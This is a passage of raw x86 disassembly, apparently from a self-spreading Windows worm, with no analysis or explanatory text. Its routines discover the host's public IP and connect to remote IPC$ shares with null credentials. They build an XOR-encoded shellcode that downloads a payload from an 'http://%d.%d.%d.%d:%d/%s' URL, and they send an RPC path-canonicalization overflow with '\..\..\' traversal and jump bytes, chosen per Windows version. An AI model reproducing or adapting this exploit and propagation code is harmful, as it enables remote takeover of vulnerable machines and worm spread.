; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A9471 proc near ; CODE XREF: sub_9A9580+79p
cp = byte ptr -38h
var_29 = byte ptr -29h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 28h
push offset stru_9A3F98
call __SEH_prolog
mov edi, ecx
mov esi, edx
or [ebp+var_20], 0FFFFFFFFh
xor ebx, ebx
mov [ebp+ms_exc.disabled], ebx
cmp edi, 10h
jnb short loc_9A94B6
push 0Fh ; Count
push esi ; Source
lea eax, [ebp+cp]
push eax ; Dest
call strncpy
add esp, 0Ch
mov [ebp+var_29], bl
lea eax, [ebp+cp]
push eax ; cp
call inet_addr
mov [ebp+var_20], eax
cmp eax, ebx
jnz short loc_9A94B6
or [ebp+var_20], 0FFFFFFFFh
loc_9A94B6: ; CODE XREF: sub_9A9471+1Cj
; sub_9A9471+3Fj
cmp [ebp+var_20], 0FFFFFFFFh
jnz loc_9A9573
mov [ebp+var_1C], ebx
loc_9A94C3: ; CODE XREF: sub_9A9471+66j
cmp [ebp+var_1C], edi
jnb short loc_9A94D9
mov eax, [ebp+var_1C]
add eax, esi
cmp [eax], bl
jnz short loc_9A94D4
mov byte ptr [eax], 20h
loc_9A94D4: ; CODE XREF: sub_9A9471+5Ej
inc [ebp+var_1C]
jmp short loc_9A94C3
; ---------------------------------------------------------------------------
loc_9A94D9: ; CODE XREF: sub_9A9471+55j
mov [esi+edi-1], bl
push esi ; Str
call _strlwr
pop ecx
loc_9A94E5: ; CODE XREF: sub_9A9471+A5j
; sub_9A9471+AAj ...
cmp [ebp+var_20], 0FFFFFFFFh
jnz loc_9A9573
push offset SubStr ; "ip address"
push esi ; Str
call strstr
pop ecx
pop ecx
mov esi, eax
mov [ebp+var_24], esi
cmp esi, ebx
jz short loc_9A9573
add esi, 0Ah
mov [ebp+var_24], esi
xor ecx, ecx
loc_9A950E: ; CODE XREF: sub_9A9471+F9j
mov [ebp+var_1C], ecx
mov al, [ecx+esi]
cmp al, bl
jz short loc_9A94E5
cmp ecx, 0Fh
jnb short loc_9A94E5
cmp al, 30h
jl short loc_9A9569
cmp al, 39h
jg short loc_9A9569
mov [ebp+cp], bl
xor edx, edx
loc_9A952A: ; CODE XREF: sub_9A9471+D9j
mov [ebp+var_28], edx
cmp edx, 0Fh
jnb short loc_9A954C
mov al, [ecx+esi]
cmp al, 30h
jl short loc_9A953D
cmp al, 39h
jle short loc_9A9541
loc_9A953D: ; CODE XREF: sub_9A9471+C6j
cmp al, 2Eh
jnz short loc_9A954C
loc_9A9541: ; CODE XREF: sub_9A9471+CAj
mov [ebp+edx+cp], al
inc ecx
mov [ebp+var_1C], ecx
inc edx
jmp short loc_9A952A
; ---------------------------------------------------------------------------
loc_9A954C: ; CODE XREF: sub_9A9471+BFj
; sub_9A9471+CEj
mov [ebp+edx+cp], bl
lea eax, [ebp+cp]
push eax ; cp
call inet_addr
mov [ebp+var_20], eax
cmp eax, ebx
jnz short loc_9A94E5
or [ebp+var_20], 0FFFFFFFFh
jmp loc_9A94E5
; ---------------------------------------------------------------------------
loc_9A9569: ; CODE XREF: sub_9A9471+AEj
; sub_9A9471+B2j
inc ecx
jmp short loc_9A950E
; ---------------------------------------------------------------------------
loc_9A956C: ; DATA XREF: .text:stru_9A3F98o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9A9570: ; DATA XREF: .text:stru_9A3F98o
mov esp, [ebp+ms_exc.old_esp]
loc_9A9573: ; CODE XREF: sub_9A9471+49j
; sub_9A9471+78j ...
or [ebp+ms_exc.disabled], 0FFFFFFFFh
mov eax, [ebp+var_20]
call __SEH_epilog
retn
sub_9A9471 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A9580 proc near ; CODE XREF: sub_9ACABE+250p
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
dwFlags = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 2Ch
push offset stru_9A3FA8
call __SEH_prolog
or [ebp+var_1C], 0FFFFFFFFh
xor ebx, ebx
mov [ebp+var_3C], ebx
xor eax, eax
lea edi, [ebp+var_38]
stosd
stosd
stosd
mov [ebp+ms_exc.disabled], ebx
push ebx ; dwReserved
lea eax, [ebp+dwFlags]
push eax ; lpdwFlags
call InternetGetConnectedState
test eax, eax
jz short loc_9A9623
mov [ebp+var_20], ebx
loc_9A95B2: ; CODE XREF: sub_9A9580+51j
; sub_9A9580+9Aj
cmp [ebp+var_1C], 0FFFFFFFFh
jnz short loc_9A9623
cmp [ebp+var_20], 4
jnb short loc_9A9623
call rand
and eax, 3
mov [ebp+dwFlags], eax
shl eax, 2
cmp [ebp+eax+var_3C], ebx
jnz short loc_9A95B2
push ebx ; int
lea ecx, [ebp+var_28]
push ecx ; int
push ds:off_9B94E8[eax] ; lpszUrl
call sub_9ABAC6
add esp, 0Ch
mov esi, eax
mov [ebp+var_2C], esi
cmp esi, ebx
jz short loc_9A960C
mov ecx, [ebp+var_28]
cmp ecx, 7
jb short loc_9A9601
mov edx, esi
call sub_9A9471
mov [ebp+var_1C], eax
loc_9A9601: ; CODE XREF: sub_9A9580+75j
cmp esi, ebx
jz short loc_9A960C
push esi ; hMem
call GlobalFree
loc_9A960C: ; CODE XREF: sub_9A9580+6Dj
; sub_9A9580+83j
mov eax, [ebp+dwFlags]
mov [ebp+eax*4+var_3C], 1
inc [ebp+var_20]
jmp short loc_9A95B2
; ---------------------------------------------------------------------------
loc_9A961C: ; DATA XREF: .text:stru_9A3FA8o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9A9620: ; DATA XREF: .text:stru_9A3FA8o
mov esp, [ebp+ms_exc.old_esp]
loc_9A9623: ; CODE XREF: sub_9A9580+2Dj
; sub_9A9580+36j ...
or [ebp+ms_exc.disabled], 0FFFFFFFFh
mov eax, [ebp+var_1C]
inc eax
neg eax
sbb eax, eax
and eax, [ebp+var_1C]
call __SEH_epilog
retn
sub_9A9580 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_9A9638(size_t Size)
sub_9A9638 proc near ; DATA XREF: .text:pStubDescriptoro
Size = dword ptr 4
push [esp+Size] ; Size
call malloc
pop ecx
retn 4
sub_9A9638 endp
; ---------------------------------------------------------------------------
loc_9A9646: ; DATA XREF: .text:pStubDescriptoro
push dword ptr [esp+4]
call free
pop ecx
retn 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A9654 proc near ; CODE XREF: sub_9AC5BB+3Dp
; sub_9AC789+51p
Src = byte ptr -80h
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 80h
mov eax, [ebp+arg_8]
push esi
push offset dword_9BA28C
push [ebp+arg_C]
mov ecx, eax
shr ecx, 18h
push ecx
movzx ecx, byte ptr [ebp+arg_8+2]
push ecx
movzx ecx, ah
push ecx
and eax, 0FFh
push eax
push offset aHttpD_D_D_DDS ; "http://%d.%d.%d.%d:%d/%s"
lea eax, [ebp+Src]
push 80h ; Count
push eax ; Dest
call _snprintf
lea eax, [ebp+Src]
push eax ; Str
mov [ebp+var_1], 0
call strlen
add esp, 28h
add eax, 0BEh
push eax ; dwBytes
push 40h ; uFlags
call GlobalAlloc
test eax, eax
mov esi, [ebp+arg_0]
mov [esi], eax
jz loc_9A9741
push ebx
push edi
mov edi, 0B9h
push edi ; Size
push offset dword_9B99F0 ; Src
push eax ; Dst
call memcpy
lea eax, [ebp+Src]
push eax ; Str
call strlen
inc eax
push eax ; Size
lea eax, [ebp+Src]
push eax ; Src
mov eax, [esi]
add eax, edi
push eax ; Dst
call memcpy
push 15h
lea eax, [ebp+Src]
pop edi
push eax ; Str
call strlen
mov ebx, 0BAh
add eax, ebx
add esp, 20h
cmp eax, edi
jbe short loc_9A971B
loc_9A9703: ; CODE XREF: sub_9A9654+C5j
mov eax, [esi]
add eax, edi
xor byte ptr [eax], 0C4h
lea eax, [ebp+Src]
push eax ; Str
inc edi
call strlen
add eax, ebx
cmp edi, eax
pop ecx
jb short loc_9A9703
loc_9A971B: ; CODE XREF: sub_9A9654+ADj
mov eax, [esi]
mov byte ptr [edi+eax], 4Dh
mov eax, [esi]
mov byte ptr [eax+edi+1], 53h
mov eax, [esi]
mov byte ptr [eax+edi+2], 0
push dword ptr [esi] ; Str
call strlen
pop ecx
mov ecx, [ebp+arg_4]
mov [ecx], eax
xor eax, eax
pop edi
inc eax
pop ebx
loc_9A9741: ; CODE XREF: sub_9A9654+63j
pop esi
leave
retn
sub_9A9654 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A9744 proc near ; CODE XREF: sub_9A9BBC+83p
Dest = byte ptr -120h
var_21 = byte ptr -21h
Dst = byte ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 120h
push [ebp+arg_0]
lea eax, [ebp+Dest]
push offset aSIpc_0 ; "\\\\%s\\IPC$"
push 100h ; Count
push eax ; Dest
call _snprintf
push 20h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
mov [ebp+var_21], 0
call memset
add esp, 1Ch
mov eax, offset Password
push 0 ; dwFlags
push eax ; lpUserName
push eax ; lpPassword
mov [ebp+var_10], eax
lea eax, [ebp+Dst]
lea ecx, [ebp+Dest]
push eax ; lpNetResource
mov [ebp+var_14], 3
mov [ebp+var_C], ecx
call WNetAddConnection2A
neg eax
sbb eax, eax
inc eax
leave
retn
sub_9A9744 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9A97A7(RPC_CSTR NetworkAddr, RPC_CSTR Endpoint)
sub_9A97A7 proc near ; CODE XREF: sub_9A9BBC+9Ep
var_24 = dword ptr -24h
var_20 = dword ptr -20h
StringBinding = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
NetworkAddr = dword ptr 8
Endpoint = dword ptr 0Ch
push 14h
push offset stru_9A4008
call __SEH_prolog
xor esi, esi
mov [ebp+var_20], esi
mov [ebp+StringBinding], esi
lea eax, [ebp+StringBinding]
push eax ; StringBinding
push esi ; Options
push [ebp+Endpoint] ; Endpoint
push [ebp+NetworkAddr] ; NetworkAddr
push offset ProtSeq ; "ncacn_np"
push esi ; ObjUuid
call RpcStringBindingComposeA
test eax, eax
jnz short loc_9A97E8
push offset Binding ; Binding
push [ebp+StringBinding] ; StringBinding
call RpcBindingFromStringBindingA
cmp eax, esi
jz short loc_9A97EC
loc_9A97E8: ; CODE XREF: sub_9A97A7+2Dj
xor eax, eax
jmp short loc_9A9835
; ---------------------------------------------------------------------------
loc_9A97EC: ; CODE XREF: sub_9A97A7+3Fj
mov [ebp+ms_exc.disabled], esi
push esi
push 4
push offset aM ; "M"
push offset aS_0 ; "S"
push offset aAaa ; "AAA"
call sub_9AED5A
add esp, 14h
mov [ebp+var_20], 1
jmp short loc_9A9823
; ---------------------------------------------------------------------------
loc_9A9812: ; DATA XREF: .text:stru_9A4008o
mov eax, [ebp+ms_exc.exc_ptr]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_24], eax
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9A9820: ; DATA XREF: .text:stru_9A4008o
mov esp, [ebp+ms_exc.old_esp]
loc_9A9823: ; CODE XREF: sub_9A97A7+69j
or [ebp+ms_exc.disabled], 0FFFFFFFFh
push offset Binding ; Binding
call RpcBindingFree
mov eax, [ebp+var_20]
loc_9A9835: ; CODE XREF: sub_9A97A7+43j
call __SEH_epilog
retn
sub_9A97A7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9A983B(int, RPC_CSTR NetworkAddr, RPC_CSTR Endpoint)
sub_9A983B proc near ; CODE XREF: sub_9A98F7+269p
Dst = byte ptr -410h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
StringBinding = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
NetworkAddr = dword ptr 0Ch
Endpoint = dword ptr 10h
push 400h
push offset stru_9A4038
call __SEH_prolog
xor esi, esi
mov [ebp+var_20], esi
mov [ebp+StringBinding], esi
lea eax, [ebp+StringBinding]
push eax ; StringBinding
push esi ; Options
push [ebp+Endpoint] ; Endpoint
push [ebp+NetworkAddr] ; NetworkAddr
push offset ProtSeq ; "ncacn_np"
push esi ; ObjUuid
call RpcStringBindingComposeA
test eax, eax
jnz short loc_9A987F
push offset Binding ; Binding
push [ebp+StringBinding] ; StringBinding
call RpcBindingFromStringBindingA
cmp eax, esi
jz short loc_9A9883
loc_9A987F: ; CODE XREF: sub_9A983B+30j
xor eax, eax
jmp short loc_9A98F1
; ---------------------------------------------------------------------------
loc_9A9883: ; CODE XREF: sub_9A983B+42j
mov [ebp+ms_exc.disabled], esi
push 3E8h ; Size
push esi ; Val
lea eax, [ebp+Dst]
push eax ; Dst
call memset
mov [ebp+var_24], 101h
push esi
lea eax, [ebp+var_24]
push eax
push offset asc_9A4030 ; "\\"
push 31Fh
lea eax, [ebp+Dst]
push eax
push [ebp+arg_0]
push offset aHhdhh ; "HHDHH"
call sub_9AED38
add esp, 28h
mov [ebp+var_20], 1
jmp short loc_9A98DF
; ---------------------------------------------------------------------------
loc_9A98CE: ; DATA XREF: .text:stru_9A4038o
mov eax, [ebp+ms_exc.exc_ptr]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_28], eax
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9A98DC: ; DATA XREF: .text:stru_9A4038o
mov esp, [ebp+ms_exc.old_esp]
loc_9A98DF: ; CODE XREF: sub_9A983B+91j
or [ebp+ms_exc.disabled], 0FFFFFFFFh
push offset Binding ; Binding
call RpcBindingFree
mov eax, [ebp+var_20]
loc_9A98F1: ; CODE XREF: sub_9A983B+46j
call __SEH_epilog
retn
sub_9A983B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9A98F7(int, void *Src, size_t Size, int, int)
sub_9A98F7 proc near ; CODE XREF: sub_9A9BBC+125p
NetworkAddr = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Src = dword ptr 0Ch
Size = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 88h
mov eax, [ebp+arg_0]
mov ecx, eax
shr ecx, 18h
push ecx
movzx ecx, byte ptr [ebp+arg_0+2]
push ecx
movzx ecx, ah
push ecx
and eax, 0FFh
push eax
push offset aD_D_D_D ; "\\\\%d.%d.%d.%d"
lea eax, [ebp+NetworkAddr]
push 80h ; Count
push eax ; Dest
call _snprintf
add esp, 1Ch
push ebx
push esi
xor edx, edx
xor eax, eax
mov ecx, 4F8h
push edi
loc_9A993E: ; CODE XREF: sub_9A98F7+63j
mov esi, [ebp+arg_C]
cmp ds:dword_9B94F8[eax], esi
jnz short loc_9A9954
mov edi, ds:dword_9B94FC[eax]
cmp edi, [ebp+arg_10]
jz short loc_9A99A0
loc_9A9954: ; CODE XREF: sub_9A98F7+50j
add eax, 18h
inc edx
cmp eax, ecx
jb short loc_9A993E
xor edx, edx
xor eax, eax
loc_9A9960: ; CODE XREF: sub_9A98F7+80j
cmp ds:dword_9B94F8[eax], esi
jnz short loc_9A9971
cmp ds:dword_9B94FC[eax], 9
jz short loc_9A99A0
loc_9A9971: ; CODE XREF: sub_9A98F7+6Fj
add eax, 18h
inc edx
cmp eax, ecx
jb short loc_9A9960
xor ebx, ebx
loc_9A997B: ; CODE XREF: sub_9A98F7+B3j
test ebx, ebx
jz short loc_9A9999
cmp [ebp+Size], 190h
ja short loc_9A9999
push 262h ; dwBytes
call sub_9AB746
mov edi, eax
test edi, edi
pop ecx
jnz short loc_9A99AC
loc_9A9999: ; CODE XREF: sub_9A98F7+86j
; sub_9A98F7+8Fj
xor eax, eax
jmp loc_9A9B72
; ---------------------------------------------------------------------------
loc_9A99A0: ; CODE XREF: sub_9A98F7+5Bj
; sub_9A98F7+78j
lea ebx, [edx+edx*2]
lea ebx, ds:9B94F8h[ebx*8]
jmp short loc_9A997B
; ---------------------------------------------------------------------------
loc_9A99AC: ; CODE XREF: sub_9A98F7+A0j
push 2 ; Size
push offset asc_9A4030 ; "\\"
push edi ; Dst
call memcpy
add esp, 0Ch
lea esi, [edi+2]
mov [ebp+var_4], 1F4h
loc_9A99C6: ; CODE XREF: sub_9A98F7+F4j
call rand
and al, 1
shl al, 5
or al, 41h
mov byte ptr [ebp+arg_0+3], al
call rand
push 1Ah
cdq
pop ecx
idiv ecx
add dl, byte ptr [ebp+arg_0+3]
mov [esi], dl
inc esi
dec [ebp+var_4]
jnz short loc_9A99C6
push [ebp+Size] ; Size
lea eax, [edi+66h]
push [ebp+Src] ; Src
push eax ; Dst
call memcpy
push 0Eh ; Size
lea eax, [edi+1F6h]
push offset a____ ; "\\..\\..\\"
push eax ; Dst
call memcpy
lea eax, [edi+204h]
mov word ptr [eax], 41h
add esp, 18h
inc eax
inc eax
and [ebp+arg_0], 0
mov [ebp+var_8], eax
lea eax, [edi+206h]
mov esi, 206h
mov [ebp+var_4], eax
loc_9A9A34: ; CODE XREF: sub_9A98F7+15Cj
; sub_9A98F7+172j
call rand
cdq
push 19h
pop ecx
idiv ecx
mov ecx, [ebp+var_8]
lea eax, [edx+42h]
mov edx, [ebp+var_4]
cmp ecx, edx
mov [edx], ax
jnb short loc_9A9A5C
loc_9A9A50: ; CODE XREF: sub_9A98F7+163j
cmp [ecx], ax
jz short loc_9A9A34
inc ecx
inc ecx
cmp ecx, [ebp+var_4]
jb short loc_9A9A50
loc_9A9A5C: ; CODE XREF: sub_9A98F7+157j
inc [ebp+arg_0]
add [ebp+var_4], 2
inc esi
inc esi
cmp [ebp+arg_0], 6
jb short loc_9A9A34
mov dword ptr [esi+edi], 20408h
add esi, 4
cmp [ebp+arg_C], 6
jz loc_9A9B14
cmp [ebp+arg_C], 7
jz loc_9A9B14
mov eax, [ebx+0Ch]
and [ebp+var_8], 0
test eax, eax
jnz short loc_9A9A97
loc_9A9A94: ; CODE XREF: sub_9A98F7+224j
mov eax, [ebx+8]
loc_9A9A97: ; CODE XREF: sub_9A98F7+19Bj
mov [esi+edi], eax
add esi, 4
lea eax, [esi+46h]
cmp esi, eax
mov [ebp+arg_0], esi
jnb short loc_9A9AC7
loc_9A9AA7: ; CODE XREF: sub_9A98F7+1CEj
call rand
cdq
push 1Ah
pop ecx
idiv ecx
mov eax, [ebp+arg_0]
add dl, 41h
inc [ebp+arg_0]
mov [eax+edi], dl
lea eax, [esi+46h]
cmp [ebp+arg_0], eax
jb short loc_9A9AA7
loc_9A9AC7: ; CODE XREF: sub_9A98F7+1AEj
add esi, edi
cmp [ebp+var_8], 0
jz short loc_9A9B20
lea eax, [ebx+8]
mov ecx, [eax]
mov [esi], ecx
mov ecx, [eax]
mov [esi+4], ecx
mov ecx, [eax]
mov [esi+8], ecx
mov ecx, [eax]
mov [esi+0Ch], ecx
mov eax, [eax]
mov [esi+10h], eax
mov eax, [ebx+0Ch]
mov [esi+14h], eax
mov eax, [ebx+14h]
mov [esi+18h], eax
mov eax, [ebx+10h]
mov [esi+38h], eax
mov eax, [ebx+10h]
mov [esi+3Ch], eax
mov byte ptr [esi+40h], 0EBh
mov byte ptr [esi+41h], 2
mov byte ptr [esi+44h], 0EBh
mov byte ptr [esi+45h], 58h
jmp short loc_9A9B4E
; ---------------------------------------------------------------------------
loc_9A9B14: ; CODE XREF: sub_9A98F7+182j
; sub_9A98F7+18Cj
mov [ebp+var_8], 1
jmp loc_9A9A94
; ---------------------------------------------------------------------------
loc_9A9B20: ; CODE XREF: sub_9A98F7+1D6j
mov eax, [ebx+8]
push 8 ; Size
mov [esi+4], eax
lea eax, [esi+32h]
push offset dword_9A4054 ; Src
push eax ; Dst
call memcpy
add esp, 0Ch
mov byte ptr [esi+3Ah], 0EBh
cmp dword ptr [ebx+0Ch], 0
setnz al
lea eax, ds:5Ah[eax*8]
mov [esi+3Bh], al
loc_9A9B4E: ; CODE XREF: sub_9A98F7+21Bj
and word ptr [esi+46h], 0
push offset dword_9A4044 ; Endpoint
lea eax, [ebp+NetworkAddr]
push eax ; NetworkAddr
push edi ; int
call sub_9A983B
push edi ; lpMem
mov esi, eax
call sub_9AB75A
add esp, 10h
mov eax, esi
loc_9A9B72: ; CODE XREF: sub_9A98F7+A4j
pop edi
pop esi
pop ebx
leave
retn
sub_9A98F7 endp
; =============== S U B R O U T I N E =======================================
sub_9A9B77 proc near ; CODE XREF: sub_9A9BBC+70p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 1BDh ; netshort
push [esp+4+arg_0] ; int
call sub_9AE3FA
cmp eax, 0FFFFFFFFh
pop ecx
pop ecx
jz short loc_9A9BB9
dec eax
dec eax
jz short loc_9A9BAD
dec eax
jz short loc_9A9BA9
dec eax
jz short loc_9A9BA5
dec eax
jz short loc_9A9BA1
dec eax
jnz short loc_9A9BB9
push 7
loc_9A9B9E: ; CODE XREF: sub_9A9B77+2Cj
; sub_9A9B77+30j ...
pop eax
jmp short loc_9A9BAF
; ---------------------------------------------------------------------------
loc_9A9BA1: ; CODE XREF: sub_9A9B77+20j
push 6
jmp short loc_9A9B9E
; ---------------------------------------------------------------------------
loc_9A9BA5: ; CODE XREF: sub_9A9B77+1Dj
push 5
jmp short loc_9A9B9E
; ---------------------------------------------------------------------------
loc_9A9BA9: ; CODE XREF: sub_9A9B77+1Aj
push 2
jmp short loc_9A9B9E
; ---------------------------------------------------------------------------
loc_9A9BAD: ; CODE XREF: sub_9A9B77+17j
xor eax, eax
loc_9A9BAF: ; CODE XREF: sub_9A9B77+28j
mov ecx, [esp+arg_4]
mov [ecx], eax
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9A9BB9: ; CODE XREF: sub_9A9B77+13j
; sub_9A9B77+23j
xor eax, eax
retn
sub_9A9B77 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=6Ch
; int __cdecl sub_9A9BBC(u_long netlong, void *Src, size_t Size)
sub_9A9BBC proc near ; CODE XREF: sub_9AC5BB+D8p
; sub_9AC789+B5p
Name = byte ptr -188h
VersionInformation= _OSVERSIONINFOA ptr -124h
var_90 = word ptr -90h
NetworkAddr = byte ptr -88h
var_9 = byte ptr -9
var_8 = dword ptr -8
var_4 = dword ptr -4
netlong = dword ptr 8
Src = dword ptr 0Ch
Size = dword ptr 10h
push ebp
lea ebp, [esp-6Ch]
sub esp, 188h
push ebx
mov ebx, [ebp+6Ch+netlong]
push esi
mov esi, _snprintf
mov eax, ebx
shr eax, 18h
push eax
movzx eax, byte ptr [ebp+6Ch+netlong+2]
push eax
movzx eax, bh
push eax
mov eax, ebx
and eax, 0FFh
push eax
push offset aD_D_D_D_0 ; "%d.%d.%d.%d"
lea eax, [ebp+6Ch+NetworkAddr]
push 80h ; Count
push eax ; Dest
call esi ; _snprintf
push ebx ; netlong
mov [ebp+6Ch+var_9], 0
call sub_9A8DB4
add esp, 20h
test eax, eax
jnz loc_9A9D10
or [ebp+6Ch+var_4], 0FFFFFFFFh
push ebx ; netlong
call sub_9AEF58
movzx eax, ax
test eax, eax
pop ecx
mov [ebp+6Ch+var_8], eax
jz loc_9A9D10
lea eax, [ebp+6Ch+var_4]
push eax
push ebx
call sub_9A9B77
test eax, eax
pop ecx
pop ecx
jz loc_9A9D10
lea eax, [ebp+6Ch+NetworkAddr]
push eax
call sub_9A9744
pop ecx
push 2
pop ebx
cmp [ebp+6Ch+var_4], ebx
jnz loc_9A9CD2
lea eax, [ebp+6Ch+NetworkAddr]
push offset Endpoint ; Endpoint
push eax ; NetworkAddr
call sub_9A97A7
test eax, eax
pop ecx
pop ecx
jnz short loc_9A9CD2
push edi
push 26h
pop ecx
mov [ebp+6Ch+VersionInformation.dwOSVersionInfoSize], 9Ch
lea edi, [ebp+6Ch+VersionInformation.dwMajorVersion]
rep stosd
lea eax, [ebp+6Ch+VersionInformation]
push eax ; lpVersionInformation
call GetVersionExA
cmp [ebp+6Ch+VersionInformation.dwMajorVersion], 5
push 6
pop edi
jnz short loc_9A9CAD
cmp [ebp+6Ch+VersionInformation.dwMinorVersion], 1
jnz short loc_9A9CB8
cmp [ebp+6Ch+var_90], bx
jbe short loc_9A9CA7
push 8
jmp short loc_9A9CB7
; ---------------------------------------------------------------------------
loc_9A9CA7: ; CODE XREF: sub_9A9BBC+E5j
jnz short loc_9A9CB8
mov edi, ebx
jmp short loc_9A9CB8
; ---------------------------------------------------------------------------
loc_9A9CAD: ; CODE XREF: sub_9A9BBC+D6j
cmp [ebp+6Ch+VersionInformation.dwMajorVersion], edi
jb short loc_9A9CB8
push 7
loc_9A9CB7: ; CODE XREF: sub_9A9BBC+E9j
pop edi
loc_9A9CB8: ; CODE XREF: sub_9A9BBC+DFj
; sub_9A9BBC:loc_9A9CA7j ...
call rand
cdq
push 0Ah
pop ecx
idiv ecx
xor eax, eax
cmp edx, edi
setl al
pop edi
add eax, 3
mov [ebp+6Ch+var_4], eax
loc_9A9CD2: ; CODE XREF: sub_9A9BBC+8Fj
; sub_9A9BBC+A7j
push [ebp+6Ch+var_8] ; int
push [ebp+6Ch+var_4] ; int
push [ebp+6Ch+Size] ; Size
push [ebp+6Ch+Src] ; Src
push [ebp+6Ch+netlong] ; int
call sub_9A98F7
lea eax, [ebp+6Ch+NetworkAddr]
push eax
push offset aSIpc_0 ; "\\\\%s\\IPC$"
lea eax, [ebp+6Ch+Name]
push 100h ; Count
push eax ; Dest
call esi ; _snprintf
add esp, 24h
push 1 ; fForce
push 0 ; dwFlags
lea eax, [ebp+6Ch+Name]
push eax ; lpName
call WNetCancelConnection2A
loc_9A9D10: ; CODE XREF: sub_9A9BBC+4Cj
; sub_9A9BBC+65j ...
pop esi
pop ebx
add ebp, 6Ch
leave
retn
sub_9A9BBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9A9D17(wchar_t *Str)
sub_9A9D17 proc near ; CODE XREF: sub_9A9D72+Fp
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
Str = dword ptr 8
push 0Ch
push offset stru_9A4098
call __SEH_prolog
mov [ebp+var_1C], 1
xor esi, esi
mov [ebp+ms_exc.disabled], esi
cmp [ebp+Str], esi
jz short loc_9A9D65
push offset a__ ; "\\..\\"
push [ebp+Str] ; Str
call wcsstr
pop ecx
pop ecx
test eax, eax
jnz short loc_9A9D59
push [ebp+Str] ; Str
call wcslen
pop ecx
cmp eax, 0C8h
jbe short loc_9A9D65
loc_9A9D59: ; CODE XREF: sub_9A9D17+2Fj
mov [ebp+var_1C], esi
jmp short loc_9A9D65
; ---------------------------------------------------------------------------
loc_9A9D5E: ; DATA XREF: .text:stru_9A4098o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9A9D62: ; DATA XREF: .text:stru_9A4098o
mov esp, [ebp+ms_exc.old_esp]
loc_9A9D65: ; CODE XREF: sub_9A9D17+1Bj
; sub_9A9D17+40j ...
or [ebp+ms_exc.disabled], 0FFFFFFFFh
mov eax, [ebp+var_1C]
call __SEH_epilog
retn
sub_9A9D17 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_9A9D72(wchar_t *Str, int, int, int, int, int)
sub_9A9D72 proc near ; DATA XREF: sub_9AA482+5o
Str = dword ptr 8
push ebp
mov ebp, esp
cmp ds:lpAddress, 0
jz short loc_9A9D96
push [ebp+Str] ; Str
call sub_9A9D17
test eax, eax
pop ecx
jz short loc_9A9D96
mov eax, ds:lpAddress
add eax, 4
pop ebp
jmp eax
; ---------------------------------------------------------------------------
loc_9A9D96: ; CODE XREF: sub_9A9D72+Aj
; sub_9A9D72+17j
push 57h ; dwErrCode
call SetLastError
push 57h
pop eax
pop ebp
retn 18h
sub_9A9D72 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A9DA5 proc near ; CODE XREF: sub_9A9DD2+3Ep
ms_exc = CPPEH_RECORD ptr -18h
arg_0 = dword ptr 8
push 8
push offset stru_9A40A8
call __SEH_prolog
mov eax, [ebp+arg_0]
and [ebp+ms_exc.disabled], 0
mov cl, [eax]
or cl, 70h
mov [eax], cl
jmp short loc_9A9DC8
; ---------------------------------------------------------------------------
loc_9A9DC1: ; DATA XREF: .text:stru_9A40A8o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9A9DC5: ; DATA XREF: .text:stru_9A40A8o
mov esp, [ebp+ms_exc.old_esp]
loc_9A9DC8: ; CODE XREF: sub_9A9DA5+1Aj
or [ebp+ms_exc.disabled], 0FFFFFFFFh
call __SEH_epilog
retn
sub_9A9DA5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9A9DD2 proc near ; DATA XREF: sub_9AA49F+5o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov eax, ds:dword_9BA150
test eax, eax
jz short loc_9A9E1B
push esi
push [ebp+arg_10]
add eax, 4
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
